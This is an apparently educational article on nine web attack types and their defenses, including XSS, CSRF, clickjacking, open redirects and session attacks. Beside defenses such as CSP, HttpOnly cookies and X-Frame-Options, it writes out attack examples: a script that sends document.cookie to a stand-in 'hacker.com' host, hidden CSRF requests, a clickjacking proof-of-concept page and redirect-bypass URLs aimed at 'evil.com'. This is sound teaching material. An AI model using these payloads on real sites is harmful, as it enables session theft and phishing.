4D explains 9 types of web application attacks and protection security. How XSS, CSRF, SQL injection, etc. are implemented

OWASP (Open Web Application Security Project - Open Web Application Security Project) is an open source, non-profit global security organization dedicated to application software security research. The mission is to make application software more secure and enable businesses and organizations to make clearer decisions about application security risks.

http://www.owasp.org.cn/

OWASP's influence in the industry:

  • OWASP is regarded as an authoritative reference in the field of web application security. The US Federal Trade Commission (FTC) strongly recommends that all enterprises follow the OWASP Top Ten WEB Weaknesses (Ten Vulnerabilities) Protection Code
  • The international credit card data security technology PCI standard lists it as a necessary component
  • Reference for Defense Information Systems Agency Application Security and Development Checklist
  • A reference for cloud computing risk assessment by the European Network and Information Security Agency
  • Security Guidelines for the Use of Social Media by the Council of Federal Chief Information Officers, Federal Departments and Agencies
  • Contributed to the NSA/CSA, Managed Cyber ​​Initiative
  • Provides SQL injection reference for UK GovCERTUK
  • Provide reference for the European Network and Information Security Agency, cloud computing risk assessment
  • OWASP TOP 10 is the main standard for the vulnerability reference of scanners such as IBM APPSCAN and HP WEBINSPECT

OWASP Top 10:

image-20230329142252910

1 Cross-site scripting attack (XSS)

1.1 Introduction

XSS: Cross Site Scripting, in order not to be confused with the abbreviation of Cascading Style Sheets (CSS), so cross-site scripting attacks are abbreviated as XSS.

Malicious attackers insert malicious Script codes into Web pages. When users browse the pages, the Script codes embedded in the Web pages will be executed, thereby achieving the purpose of maliciously attacking users.

At the beginning, the demonstration case of this attack was cross-domain, so it was called "cross-site scripting". But today, due to the powerful functions of JavaScript based on the complexity of the front-end application of the website, whether it is cross-domain or not is no longer important. But for historical reasons, the name XSS has been kept. XSS has long been listed as the number one enemy in client-side web security. Because XSS is very destructive and the scenarios it generates are complex, it is difficult to solve them all at once. Now the consensus reached in the industry is: for XSS generated in various scenarios, it needs to be treated differently.

Attack principle:

The principle of XSS is that the WEB application confuses the code boundary between the data submitted by the user and the JS script, causing the browser to execute the user's input as JS code.

XSS attack demo:

<body>
    <form action="/lm/add" method="post">
        <input name="content"/>
        <input type="submit" value="留言"/>
    </form>
</body>

(2) Page display

<body>
    <table>
        <thead>
        <th>序号</th>
        <th>留言</th>
        <th>时间</th>
        </thead>
        <tbody>
            <tr th:each="lm,stat:${list}">
                <td th:text="${lm['id']}"> </td>
                <td th:utext="${lm['content']}"> </td>
                <td th:text="${lm['date']}"> </td>
            </tr>
        </tbody>
    </table>
</body>

(3) test

Message: http://www.edu.com/storexss.html

View: http://www.edu.com/admin/main

Normal input:

窗前明月光

Malicious script implantation:

<script>alert('hey!you are attacked');</script>

Hijack traffic to achieve malicious jump:

<script>window.location.href='http://www.baidu.com'</script>
<img src="a.jpg" onerror="alert('Attack')"/>

The principle of separation of data and code, you expect the user to enter data, and the attacker enters code.

1.2 XSS attack

  • Stored XSS
  • Reflected XSS
  • DOM-type XSS

1. Stored XSS

Stored XSS, also known as persistent XSS. The information uploaded by the attacker containing the malicious JS script is saved in the database by the web application. If the malicious JS script is included when the web application generates a new page, it will cause all browsers accessing the web page to parse and execute the Malicious script. This type of attack is generally common in websites such as blogs and forums.

Stored XSS is the most dangerous type of cross-site scripting, which is more hidden than reflective XSS and Dom XSS. Because it does not require manual triggering by the user, any web program that allows the user to store data may have a stored XSS vulnerability. If a page is attacked by stored XSS, all users who visit the page will be attacked by XSS.

Stored XSS

Attack steps:

  1. The attacker submits malicious code to the database of the target website
  2. The user opens the target website, and the website server takes out the malicious code from the database, stitches it into HTML and returns it to the user
  3. The user's browser receives the response, parses and executes it, and the malicious code mixed in it is also executed
  4. Malicious code steals user sensitive data and sends it to the attacker, or impersonates the user, calls the interface of the target website to perform the operation specified by the attacker

Stored XSS (also known as persistent XSS) attacks are common in website functions with user-saved data, such as forum posting, product reviews, user private messages, messages, and other functions.

(1) Simple attack

- Test path: http://www.edu.com/storexss.html

<script>alert('hello');</script>

(2) Get cookie information:

- Login window: http://www.edu.com/storexss.html

<script>alert(document.cookie)</script>

(3) Hackers steal cookies:

The user steals the cookie, and the specific implementation is to send the user's cookie value to the hacker toolbox, then it is necessary to implant the js that steals the user's cookie into the system. Considering that the js script of stealing users is too long, it is not suitable to directly write scripts for implantation, and it can be realized by means of external scripts

<script src="http://www.hacker.com/script/hacker.js">
</script>

Stealing failed:

Access to XMLHttpRequest at 'http://www.hacker.com/s?c=url:htt p://www.edu.com/lm/query%20cookie:JSESSIONID=6756A3597BDC58B29A BF7806F4B533AD' from origin 'http://www.edu.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

(4) Bypass the browser's same-origin policy:

Images can be loaded from external data sources

(function () {
    (new Image()).src = 'http://www.hacker.com/h?c=' +escape("url=" + document.location.href) +escape('&cookie=' + document.cookie);
})();

(5) Intrusion through cookies

2. Reflected XSS

Reflected XSS, also known as non-persistent XSS, malicious code is not stored on the target website, but attacks are carried out by luring users to click on a malicious link. What are the characteristics of such malicious links?

There are:

  • Malicious script is appended to the url, only clicking on this link will cause the attack
  • Does not have persistence, that is, as long as it is not accessed through this specific url, there will be no problem
  • Xss vulnerabilities generally occur in places where users interact

(1) Normal processinghttp://www.edu.com/reflectxss?reflectxss=lagou

(2) Script intrusionhttp://www.edu.com/reflectxss?reflectxss=<script>alert('lagou')</script>

(3) Get cookieshttp://www.edu.com/reflectxss?reflectxss=

(4) Construct DOMhttp://www.edu.com/reflectxss?reflectxss=<input type="button" value="登录"/>

3. DOM type XSS

DOM (Document Object Model), DOM-type XSS is actually a special type of reflection-type XSS (not stored), it is a vulnerability based on the DOM document object model, and does not need to interact with the server (not processed).

The client's script program can dynamically modify the page content through the DOM, obtain the data in the DOM from the client and execute it locally. Based on this feature, you can use JS scripts to exploit XSS vulnerabilities.

Demo link: http://www.edu.com/domxss.html?domxss=paramvalue

1.3 Embedding JS code attack and hazard analysis

External manifestations:

  1. Inject JavaScript code directly
  2. Reference external JS files

Basic realization principle:

  1. Send data through the src of the img tag
  2. Construct a form to induce users to enter account passwords
  3. Construct hidden form forms to submit automatically
  4. Page forced jump
  5. Embed text links, image links

Potential hazards:

  1. Obtain administrator or other user cookies and log in as an identity
  2. Construct a form to induce the user to enter the account number and password to obtain the account secret
  3. Jump to other websites, website traffic is stolen
  4. Insert advertisements, external links, etc.
  5. Increase the Baidu weight of other websites by hiding friend links (SEO black hat)

1.4 Embedding HTML code attack and hazard analysis

External manifestations:

  1. Construct the img tag
  2. Construct a tag
  3. construct iframe
  4. Construct other HTML tags

Basic realization principle:

  1. Send data through the src of the img tag
  2. Trigger script code through img's onerror
  3. Passively trigger script code href/onclick through a tag
  4. Introduce third-party pages through iframe
  5. Directly construct text link or image link

Potential hazards:

  1. Obtain administrator or other user cookies and log in as an identity
  2. Construct a form to induce the user to enter the account number and password to obtain the account secret
  3. Insert advertisements, external links, etc.
  4. Increase the Baidu weight of other websites by hiding friend links (SEO black hat)

1.5 XSS Vulnerability Prevention Strategy

The main reason why the XSS attack can be realized is to output the user's input as it is.

Input link:

Page limit input length, special character limit, back-end code limit input length, handle special characters

Filter Unified processing (custom processing rules, using apache commons text, using owasp AntiSamy)

For developers, the judgment of the length of user-entered data is performed in the background, and the specialty of special characters is usually defined in the traffic official website part.

image-20230329151937337

Cookie protection:

Obtain the user's cookie and user authority through the implanted JS script.

The cookie is set to httponly, and the general servlet container defaults to httpOnly true

Unified processing in the traffic gateway:resp.setHeader("SET-COOKIE", "JSESSIONID=" + request.getSession().getId()+ "; HttpOnly")

X-Frame-Options response header (whether frame, iframe and other tags are allowed):

The iframe allows loading of external web pages, and can also be loaded as an external web page by itself, and can be hidden at the same time.

Whether to allow users to use iframe, specify the URL of the web page loaded by iframe.

  • DENY not allowed

  • SAMEORIGIN can be displayed in an iframe on the same domain page

  • ALLOWFROM uri can be displayed in the frame of the specified page.

    add_header X-Frame-Options SAMEORIGIN; //Configure in the http or server node of nginx

    It can also be set by filter resp.setHeader("x-frame-options","SAMEORIGIN");

Output link:

OWASP ESAPI for Java

Characters are escaped when displayed, and various templates have related syntax, pay attention to the correct use of tags. Usually the front-end framework or the corresponding template engine sets escaping as the default.

thymeleaf:

<!--非转义输出,原样输出-->
<td style="background:#FFF; padding: 3px;"
th:utext="${item.content}"></td>
<!--转义输出-->
<td style="background:#FFF; padding: 3px;"
th:text="${item.content}"></td>

JSP :

<!--默认true,进行转义-->
<c:out value=" ${ content }" escapeXml="false" />---><c:out
value=" ${ content }"/>

DOM type XSS:

Avoid .innerHTML, .outerHTML, document.write(), use .textContent, .setAttribute(), etc.

Pay special attention to onclick, onerror, onload, onmouseover, eval(), setTimeout(), setInterval() and href

Rich text processing: When filtering rich text, "event" should be strictly prohibited, because the dynamic effect of "event" should not be included in the display requirements of rich text. Dangerous labels, such as ,,, In the selection of labels, you should use the white list and avoid using the black list. For example, only allowing , , and rich text filtering, processing CSS is a troublesome thing, and if users are allowed to customize CSS, it may also lead to XSS attacks. For example, prohibit users from customizing CSS and Style as much as possible.

Some relatively mature open source projects have implemented XSS checking for rich text. Anti-Samy is an open source project on OWASP, and it is currently the best XSS Filter.

1.6 Content Security Policy (CSP)

Content Security Policy (CSP: Content-Security-Policy) is an additional security layer used to detect and weaken certain types of attacks, including cross-site scripting (XSS) and data injection attacks.

Core idea: The website sends a CSP header to tell the browser what is authorized to execute and what needs to be prohibited. It is known as an artifact specially designed to solve XSS attacks.

1 Introduction:

XSS attacks exploit the browser's trust in content fetched from the server. Malicious scripts are able to run in the victim's browser because the browser trusts the source of the content , even though sometimes the script doesn't come from where it's supposed to come from.

By specifying valid domains—that is, valid sources of executable script that browsers recognize—CSP gives server administrators the ability to reduce or eliminate vectors upon which XSS attacks rely.

A CSP-compliant browser will only execute scripts fetched from whitelisted domains, ignoring all other scripts (including inline scripts and HTML event-handling attributes).

2 Classification of CSPs:

(1) After Content-Security-Policy is configured and enabled, external resources that do not comply with CSP will be blocked from loading.

(2) Content-Security-Policy-Report-Only means that the restriction option is not implemented, but only the violation of the restriction is recorded. It must be used with the report-uri option.

3 Use of CSPs:

1) Use on HTTP Header (preferred)

It can be configured in the Filter of the gateway or configured in the Nginx server

"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略

(2) Use on HTML

<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only"
content="策略">

If both the Content-Security-Policy-Report-Only header and the Content-SecurityPolicy are present in a response, both policies are in effect. Policies specified in the Content-SecurityPolicy header are mandatory, while policies in Content-Security-Policy-ReportOnly only generate reports and are not mandatory. Browsers that support CSP will always send a violation report for every attempt to violate a policy you have established, if the policy contains a valid reporturi directive

4 use cases

<!--设置 HTTP 的头部字段-->
<!--加载css、js-->
response.setHeader("Content-Security-Policy","default-src
http: https:");
<!--设置网页的<meta>标签-->
<meta http-equiv="Content-Security-Policy" content="formaction 'self';">

image-20230329153707047

Restrict all external resources to be loaded only from the current domain name, excluding subdomain names

Content-Security-Policy: default-src 'self'

Restrict all external resources to only be loaded from the current domain name and its subdomains

Content-Security-Policy: default-src 'self' *.admin4j.com

Images can be loaded from anywhere (note the "*" wildcard).

Media files are only allowed to be loaded from media1.com and media2.com (subdomains of these sites are not allowed).

Runnable scripts are only allowed from scripts.admin4j.com.

Content-Security-Policy: default-src 'self'; img-src *;
media-src media1.com media2.com; script-src scripts.admin4j.com

The server only allows access to documents via HTTPS and only from the onlinebanking.abc.com domain (online banking website)

Content-Security-Policy: default-src
https://onlinebanking.abc.com

5 Enable violation reporting:

By default, violation reports are not sent. To enable sending violation reports, you need to specify the report-uri policy directive and provide at least one URI address to submit the report to:

Content-Security-Policy: default-src 'self'; report-uri
http://reportcollector.example.com/collector.cgi

You then need to configure your server to receive reports, store and process them as you see fit.

6 Sample Violation Report:

Let's assume the page is at http://example.com/signup.html. It uses a policy that prohibits the loading of any resources except stylesheets from cdn.example.com.

Content-Security-Policy: default-src 'none'; style-src
cdn.example.com; report-uri /_/csp-reports

The HTML for signup.html looks like this:

<!DOCTYPE html>
<html>
    <head>
        <title>Sign Up</title>
        <link rel="stylesheet" href="css/style.css">
    </head>
    <body>
    ... Content ...
    </body>
</html>

Can you see the error? Style sheets are only allowed to be loaded from cdn.example.com, however the page attempts to load from its own origin ( http://example.com ). When this document is accessed, a CSP-compliant browser will send a violation report as a POST request to http://example.com/_/cspreports with the following content:

{
    "csp-report": {
        "document-uri": "http://example.com/signup.html",
        "referrer": "",
        "blocked-uri": "http://example.com/css/style.css",
        "violated-directive": "style-src cdn.example.com",
        "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
    }
}

image-20230329154450680

The blocked-uri field contains the full path of the offending resource

7 Browser Compatibility:

image-20230329154519774

1.7 XSS Vulnerability Scanning

Common scanning tools are: Safe3WVS, Burp Suite, AWVS, AppScan, W3af, Arachni, Acunetix, etc.

2 Cross Site Request Forgery (CSRF)

The full name of CSRF attack is cross site request forgery (cross site request forgery):

It is a malicious use of the website. Although it sounds a bit similar to XSS cross-site scripting attack, in fact CSRF is very different from XSS. XSS uses trusted users in the site, while CSRF comes from trusted users by disguising User's request to utilize trusted sites.

image-20230329154640605

Simple understanding: A vulnerability that can be used by an attacker to send a forged request to the server through the user's browser to impersonate the user's identity and be successfully executed by the target server is called a CSRF vulnerability.

Features:

  • User Browser: Indicates the trusted user
  • Impersonation: Malicious programs masquerade as trusted users (browsers)
  • Forged request: access initiated by trusted user's browser

2.1 Principle of CSRF attack

  1. The user opens the browser, visits the trusted website A, and enters the user name and password to request to log in to the website A;

  2. After the user information is verified, website A generates cookie information and returns it to the browser. At this time, the user logs in to website A successfully and can send requests to website A normally;

  3. Before the user exits website A, in the same browser, open a TAB page to visit website B;

  4. After receiving the user request, website B returns some offensive codes and sends a request to visit third-party website A;

  5. After the browser receives these offensive codes, according to the request of website B, it carries cookie information without the user's knowledge, and sends a request to website A. Website A does not know that the request is actually initiated by B, so it will process the request with the authority of C according to the cookie information of user C, resulting in the execution of malicious code from website B.

2.2 CSRF Vulnerability Analysis

get request:

<img src="http://www.study.com/admin/resetPassword?id=1" />
<iframe src="http://www.study.com/admin/resetPassword?id=1"
style='display:none'></iframe>

post request: hide the form, submit automatically, and introduce the function into a new page through iframe

<iframe src="form.html" style='display:none'></iframe>

2.3 Hazard Analysis of CSRF Vulnerabilities

CSRF attack features:

  • Attack timing: The cookie of the website has not expired in the browser, do not close the browser or log out

  • Attack premise: have a certain understanding of the target website interface

  • Attack Difficulty: The attack difficulty is higher than XSS

Compared with XSS attacks, CSRF attacks tend to be less prevalent (and therefore the resources to prevent them are quite scarce) and difficult to prevent, so they are considered more dangerous than XSS.

Hazards: password modification, online banking transfer...

image-20230329161300603

2.4 CSRF security protection

  • Distinguish whether it is a forged request

  • Second verification

Referer verification:

HTTP Referer is a part of the header. When the browser sends a request to the web server, it will generally bring the Referer to tell the server which page the web page is linked from, so that the server can obtain some information for processing.

  • Validate in gateway filter

  • Define the interceptor in the corresponding microservice

  • Implemented in specific business code

Exception: Login

image-20230329161507963

image-20230329161516955

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    logger.debug("拦截器拦截到对:{}的访问", request.getRequestURI());
    String referer = request.getHeader("referer");
    logger.debug("referer:{}", referer);
    
    StringBuilder sb = new StringBuilder();
    sb.append(request.getScheme()).append("://").append(request.getServerName());
    logger.debug("basePath:{}", sb.toString());
    
    if (referer == null || referer == "" || !referer.startsWith(sb.toString())) {
    	response.setContentType("text/plain; charset=utf-8");
    	response.getWriter().write("非法访问,请通过页面正常访问!");
    	return false;
    }
    return true;
}

Business secondary verification:

  • To change the password, you need to enter the original password
  • Trading system setting transaction password
  • Add graphic verification code verification
  • Online Banking Transfer SMS Verification Code

2.5 CSRFTester

CSRFTester is a testing tool for CSRF vulnerabilities. The testing principle of this tool is as follows: it uses a proxy to capture information such as connections and forms visited in the browser, and then resubmits by modifying the corresponding forms and other information in CSRFTester, which is equivalent to A forged client request, if the tested request is successfully accepted by the website server, it means that there is a CSRF vulnerability, otherwise it does not exist. This tool can also be used for CSRF attacks.

image-20230329161914328

image-20230329161933304

image-20230329161957582

3 clickjacking

3.1 Attack Principle

Click Jacking (Click Jacking), also known as UI overlay attack.

1. The hacker creates a webpage and uses an iframe to include the target website; hiding the website in the target makes it impossible for users to notice the existence of the target website;

Trick the user into clicking a specific button in the diagram. The position of the specific button is consistent with the position of the key button in the original web page

2 The user clicks the button without knowing it, and is lured into performing a dangerous operation

clickjacking

3.2 Attack method

Two ways:

  • One is that the attacker uses a transparent iframe to cover a webpage, and then lures the user to operate on the page. At this time, the user will click on the transparent iframe page without knowing it;
  • The second is that the attacker uses a picture to overlay the webpage to block the meaning of the original position of the webpage.

2.3 iframe coverage attack and protection

An iframe attack is like a picture covered with a layer of transparent paper. The page you see is at the bottom, and what you actually click is another web page that has been transparentized by the hacker. A simple example of clickjacking is that when you click on an unknown link, you automatically follow a certain person's blog or subscribe to a video.

Suppose I publish a lot of videos on Youku and want more people to pay attention to it, so we prepared a page:

<!DOCTYPE html>
<html>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  <head>
    <title>点击劫持 POC</title>
    <style>
      iframe {
        width: 1440px;
        height: 900px;
        position: absolute;
        top: -0px;
        left: -0px;
        z-index: 2;
        -moz-opacity: 0;
        opacity: 0;
        filter: alpha(opacity=0);
      }
      button {
        position: absolute;
        top: 270px;
        left: 1150px;
        z-index: 1;
        width: 90px;
        height: 40px;
      }
    </style>
  </head>
  <body>
    <button>美女图片</button>
    <img src="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg"/>
    <iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"></iframe>
  </body>
</html>

iframe overlay attack and protection

Solution

Use an HTTP header - X-Frame-Options. X-Frame-Options can be said to be born to solve ClickJacking,

It has three optional values:

  • DENY: The browser will refuse the current page to load any frame page; -
  • SAMEORIGIN: The address of the frame page can only be a page under the same domain name;
  • ALLOW-FROM origin: The page address allowed to be loaded by the frame;
    nginx configuration:
add_header X-Frame-Options SAMEORIGIN;

2.4 Image overlay attack and defense

Image overlay attack (Cross Site Image Overlaying), the attacker uses one or more images, and uses the style of the image or CSS that can be controlled to overlay the image on the web page to form a clickjacking. Of course, the information carried by the picture itself may have a deceptive meaning, so that the purpose of deception can be achieved without the need for the user to click.

PS: This attack can easily appear on the pages of the website itself.

example

Add a picture where you can enter HTML content, but just cover the picture at the specified position.

<a href="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE">
<img src="XXXXXX"
style="position:absolute;top:90px;left:320px;" />
</a>

Solution

When defending against image overlay attacks, it is necessary to check whether the style attribute of the img tag in the HTML code submitted by the user may cause floating.

Summarize:

Clickjacking is an attack that many people don't pay much attention to. It needs to lure users to interact with the page, and the attack cost is higher. In addition, developers may think that users are stupid and do not pay attention to this attack method.

4 URL redirection vulnerability

URL jumping vulnerability (URL redirection vulnerability), jumping vulnerability is generally used for phishing attacks.

https://link.zhihu.com/?target=https://www.admin4j.com/

principle:

The URL redirection vulnerability essentially uses services with redirection functions in web applications to redirect users from one website to another. The easiest way to exploit it is to induce users to access http://www. aaa.com?returnUrl=http://www.evil.com, and by www.aaa.comallowing users to access www.evil.com, the exploitation of this vulnerability is a loss to both users and companies.

4.1 Usage Scenarios

(1) The login function has always been the hardest hit area for URL jump vulnerabilities. When a user accesses a certain business on the website, when account role permissions are involved, he must jump to the login interface. In order to ensure that the user experience is automatically returned to the user before the authentication is completed Pages browsed. There is a hidden danger of URL jumping vulnerabilities between going back and forth.

For example, for example, if the user is http://www.aaa.com/detail?sku=123456accessing a product, the login operation is triggered when adding a shopping cart, and the login is redirected to the unified login authentication page. At this time, the access link is http://login.aaa.com?returnUrl=http://www.aaa.com/detail?sku= 123456, after the authentication is successful, the browser continues to return to the product details page to facilitate the user to purchase operate. If login.aaa.com does not check the returnUrl parameter strictly or even does not check it, you can jump to any website through this link.

image-20230329163110941

After logging in, 302 jumps to the Baidu homepage, where the returnUrl has not been checked, and you can jump to a third-party page arbitrarily. Similar to the login function, the logout function of the website also has the risk of URL jumping vulnerabilities. Other similar jumping functions include jumping after SMS verification code authentication, jumping after sharing or bookmarking, and jumping after authorizing a third party. Their common feature is to enter another page from one page for a certain operation. Then return to the original page to continue browsing. In some multi-step operations, the fromUrl parameter will be passed when the next button is clicked, and this parameter will become a hyperlink back to the previous step, as shown below:

image-20230329163205330

There are even URL redirection vulnerabilities in callback parameters in some businesses. Common parameter values ​​include return, redirect, url, jump, goto, target, link, etc. In the process of digging vulnerabilities, you may wish to pay attention to whether the request contains a relatively complete URL address, and test these parameters.

(2) If a web application under admin4j.com has this vulnerability, a malicious attacker can send the user a link to admin4j.com, but after the user opens it, they will come to a phishing website page, which will cause the user to be phished attacks, account theft, or account-related property theft.

(3) The scenario where the vulnerability occurs:

  1. User login, unified identity authentication, will jump after authentication
  2. After the user shares and collects the content, it will jump
  3. After cross-site authentication and authorization, it will jump
  4. When clicking on other URL links in the site, it will jump
  5. Jump after business is done
    • For example, modify the password, jump to the login page after the modification is completed, bind the bank card, and return to the bank card recharge and other pages after the binding is successful
    • For example, the evaluation system, after completing business operations such as questionnaires and customer service evaluations, jump to the page

(4) The reason for the vulnerability:

  • Did not consider the arbitrary URL jump vulnerability when writing the code, or didn't know/don't think it was a vulnerability at all;
  • When writing code, if you don’t think carefully, use methods such as taking substrings and suffixes to make simple judgments, the code logic can be bypassed; doing some weird operations (domain name cutting/splicing/reorganization) and judgments on the incoming parameters is counterproductive. is bypassed;
  • Logical loopholes or unexpected features in the function library for parsing URLs and judging domain names that come with the original language can be bypassed;
  • Differences in the original language, server/container features, browsers, etc. for standard URL protocol parsing and processing lead to bypassing.

(5) Common parameter names

  • redirect
  • redirect_to
  • redirect_url
  • url
  • jump
  • jump_to
  • target
  • to
  • link
  • inclined
  • domain

4.2 URL redirection vulnerability mining

Assume that the source domain name is: www.abc.com and the domain to be redirected to is: www.evil.com (phishing)

(1) Without any check, jump directly

//获取参数
String url = request.getParameter("returnUrl");
//重定向
response.sendRedirect(url);

(2) The domain name string detection is deceptive, the code is not perfect, and there are loopholes

//获取参数
String url = request.getParameter("returnUrl");
    //判断是否包含域名
    if (url.indexOf("www.abc.com ") !=-1){
    response.sendRedirect(url);
}
  • http://www.abc.com/?returnUrl=http://www.abc.com.evil.com
  • http://www.abc.com/?returnUrl=http://www.evil.com/www.aaa.com

(3) bypass mode

  • http://www.aaa.com?returnUrl=http://www.aaa.com.evil.com

  • http://www.aaa.com?returnUrl=http://www.evil.com/www.aaa.com

If combined with the various characteristic symbols of the URL, there are many ways to bypass it.

For example, using a question mark?:

  • http://www.aaa.com?returnUrl=http://www.evil.com?www.aaa.com

Use backslashes:

  • http://www.aaa.com?returnUrl=http://www.evil.comwww.aaa.com

  • http://www.aaa.com?returnUrl=http://www.evil.com\www.aaa.com
    uses the @ symbol:

  • http://www.aaa.com?returnUrl=http://[email protected]
    Use hashtag #:

  • http://www.aaa.com?returnUrl=http://www.evil.com#www.aaa.com

  • http://www.aaa.com?returnUrl=http://www.evil.com#www.aaa.com?www.aaa.com
    missing protocol:
    http://www.aaa.com?returnUrl=/www .evil.com
    http://www.aaa.com?returnUrl=//www.evil.com
    redirects multiple times, that is, aaa company trusts ccc company, and ccc company also has loopholes or provides redirection services:

  • http://www.aaa.com?returnUrl=http://www.ccc.com?jumpto=http://www.evil.com

4.3 Protection scheme

Restricting referers and adding tokens can prevent malicious users from constructing jump links and spreading them everywhere. The most fundamental way to fix this vulnerability is to strictly check the jump domain names mentioned above.

  1. The code fixes the jump address and does not allow users to control variables
  2. The jump target address adopts a whitelist mapping mechanism, such as 1 for edu.lagou.com, 2 for job.lagou.com, and other records
  3. Reasonable and sufficient verification mechanism, verify the target address of the jump, and notify the user of the jump risk when the address is not your own

5 Session Attack

5.1 Authentication and Authorization

Many times, people confuse the two concepts of "authentication" and "authorization". In fact, "authentication" and "authorization" are two different things. The English word for authentication is Authentication, and the word for authorization is Authorization. It is actually very simple to distinguish these two concepts, just remember: the purpose of authentication is to identify who the user is, and the purpose of authorization is to determine what the user can do.

To put it figuratively, assuming that the system is a room, the person holding the key can open the door and enter the room, then the room is authenticated by "matching the lock and the key", and the authentication process is the process of unlocking. The key is called "Credential" in the authentication process, and the process of opening the door corresponds to Login in the Internet. But after opening the door, what can be done and what cannot be done is the jurisdiction of the "authorization".

If it is the owner of the house who comes in, he can sit on the sofa and watch TV, or go to the bedroom to sleep, and can do whatever he wants, because he has the "highest authority" of the house.

But if it is a guest who comes in, they may only be allowed to sit on the sofa and watch TV, but not allowed to enter the bedroom.

The prerequisite for granting the permission of "can enter the bedroom" is to identify whether the person is the owner or the guest, so how to authorize depends on the authentication. Now the question is, is the person holding the key really the owner? If the owner loses the key, or someone makes an identical key, it can also open the door and enter the house.

These abnormal situations are due to authentication problems, and the security of the system is directly threatened. The key is only a very fragile credential, and other biometric features such as fingerprints, irises, faces, and voices can also be used as credentials to identify a person. Authentication is actually a process of verifying credentials.

If only one credential is used for authentication, it is called "single-factor authentication"; if two or more credentials are used for authentication, it is called "two-factor (Two Factors) authentication" or "multi-factor authentication". Generally speaking, the strength of multi-factor authentication is higher than that of single-factor authentication, but in terms of user experience, multi-factor authentication will more or less bring some inconvenience.

5.2 Session and authentication

Authentication methods such as passwords and certificates are generally only used in the login process. After the login is completed, the user accesses the page of the website, and it is impossible to use the password authentication again every time the browser requests the page. Therefore, when the authentication is successful, it is necessary to replace a credential that is transparent to the user. This credential is SessionID.

After the user logs in, a new session (Session) will be created on the server side, and the user's status and related information will be saved in the session. The server side maintains the sessions of all online users. At this time, the authentication only needs to know which user is browsing the current page. In order to tell the server which Session to use, the browser needs to inform the server of the SessionID held by the current user. The most common way is to encrypt the SessionID and store it in the cookie, because the cookie will be sent with the HTTP request header and protected by the browser's same-origin policy.

Once the SessionID and SessionID saved in the cookie are stolen within the life cycle, it is equivalent to account theft. At the same time, since the SessionID is an authentication credential held after the user logs in, hackers do not need to attack the login process (such as passwords), and this needs to be realized when designing a security solution.

5.3 Session Hijacking

Session hijacking (Session hijacking) is an attack method that uses the SessionID to log into the target account after stealing the user's SessionID. At this time, the attacker actually uses the valid Session of the target account. If the SessionID is saved in the cookie, this attack can be called cookie hijacking

Attack steps:

1. The target user needs to log in to the site first;

2. After successful login, the user will get a session ID provided by the site, SessionID;

3. The attacker captures the Session ID through some attack means;

4. The attacker can obtain the legitimate session of the target user by accessing the site through the captured Session ID.

image-20230329164716226

There are several ways for attackers to obtain SessionID:

1. Brute force cracking: try various Session IDs until cracked;

2. Prediction: If the Session ID is generated in a non-random way, it is possible to calculate it;

3. Stealing: Obtained by network sniffing, local Trojan horse theft, XSS attack and other methods.

Defense method:

1. Cookie HttpOnly. By setting the HttpOnly of the cookie to true, the client script can be prevented from accessing the cookie, thereby effectively preventing XSS attacks.

response.setHeader("SET-HEADER","user="+request.getParameter("cookie")+";HttpOnly");

SessionCookieConfig interface, used to operate session cookies, can be set in the initialization method of the ServletContextListener listener

@WebListener
public class SessionCookieInitialization implements ServletContextListener {

 	private static final Log log = LogFactory.getLog(SessionCookieInitialization.class);
 	
    public void contextInitialized(ServletContextEvent sce) {
    
        ServletContext servletContext = sce.getServletContext();
        SessionCookieConfig sessionCookie = servletContext.getSessionCookieConfig();
        //设置HttpOnly
        sessionCookie.setHttpOnly(true);
    }
    public void contextDestroyed(ServletContextEvent sce) {
    }
}

2. Cookie Secure is an attribute that can be set when setting a cookie. After setting this attribute, the browser will only send the cookie when accessing via https. By default, as long as the browser uses http to request a site, it will send a plaintext cookie. If there is monitoring in the network, it may be intercepted. If the entire site of the web application website is https, you can set the cookie with the Secure attribute, so that the browser will only send the cookie when visiting https. Even if an attacker eavesdrops on the network, he cannot obtain the user's plaintext cookie.

response.setHeader("SET-HEADER","user="+request.getParameter("cookie")+";HttpOnly;Secure");

5.4 Session fixation

Session fixation (Session fixation) is an attack method that tricks the victim into using the session ID (SessionID) specified by the attacker. This is the easiest way for an attacker to obtain a legitimate session ID. Allow legitimate users to log in with the sessionID preset by the hacker, so that the Web will no longer generate a new sessionID, thus causing the sessionId set by the hacker to become a legal bridge.

Session fixation can also be regarded as a type of session hijacking, because the main purpose of session fixation attacks is also to obtain the legitimate session of the target user, but session fixation can also force the victim to use a valid session set by the attacker , so as to obtain the user's sensitive information.

What is Session Fixation? To give a vivid example, suppose A has a car, and A sold the car to B, but A did not give all the car keys to B, but hid one by himself. At this time, if B does not change the lock of the car, A can still use the hidden key to use the car. The security problem caused by not changing the "lock" is the Session Fixation problem.

Attack steps:

1. The attacker resets the SessionID of the target user by some means, and then monitors the user session status;

2. The target user logs in to the site with the Session ID set by the attacker;

3. The attacker obtains a legitimate session through the Session ID

image-20230329165413760

How can an attacker make the target user use this SessionID? It is more difficult to do this if the SessionID is stored in a cookie. But if the SessionID is stored in the URL, the attacker only needs to entice the target user to open the URL.

Defense method: [combination of multiple methods]

1. Reset the sessionID whenever the user logs in

// 会话失效
session.invalidate();
// 会话重建
session=request.getSession(true)

2. When sessionID is idle for too long, reset sessionID

3. Disable client access to cookies, set HttpOnly

5.5 Session keep attack

Generally speaking, Session has a life cycle. When the user is inactive for a long time, or the user clicks to log out, the server will destroy the Session. If the Session has not been invalidated, what problems will it cause? The previous chapters mentioned session hijacking attacks, in which the attacker steals the user's SessionID and can log in to the user's account.

But if the attacker can always hold a valid Session (for example, refresh the page periodically to tell the server that the user is still active), and the server does not destroy the active Session, the attacker can pass this valid Session - Use the user's account all the time, becoming a permanent 'backdoor'. But the cookie has an expiration time, and the session may also expire. Can the attacker hold the session permanently?

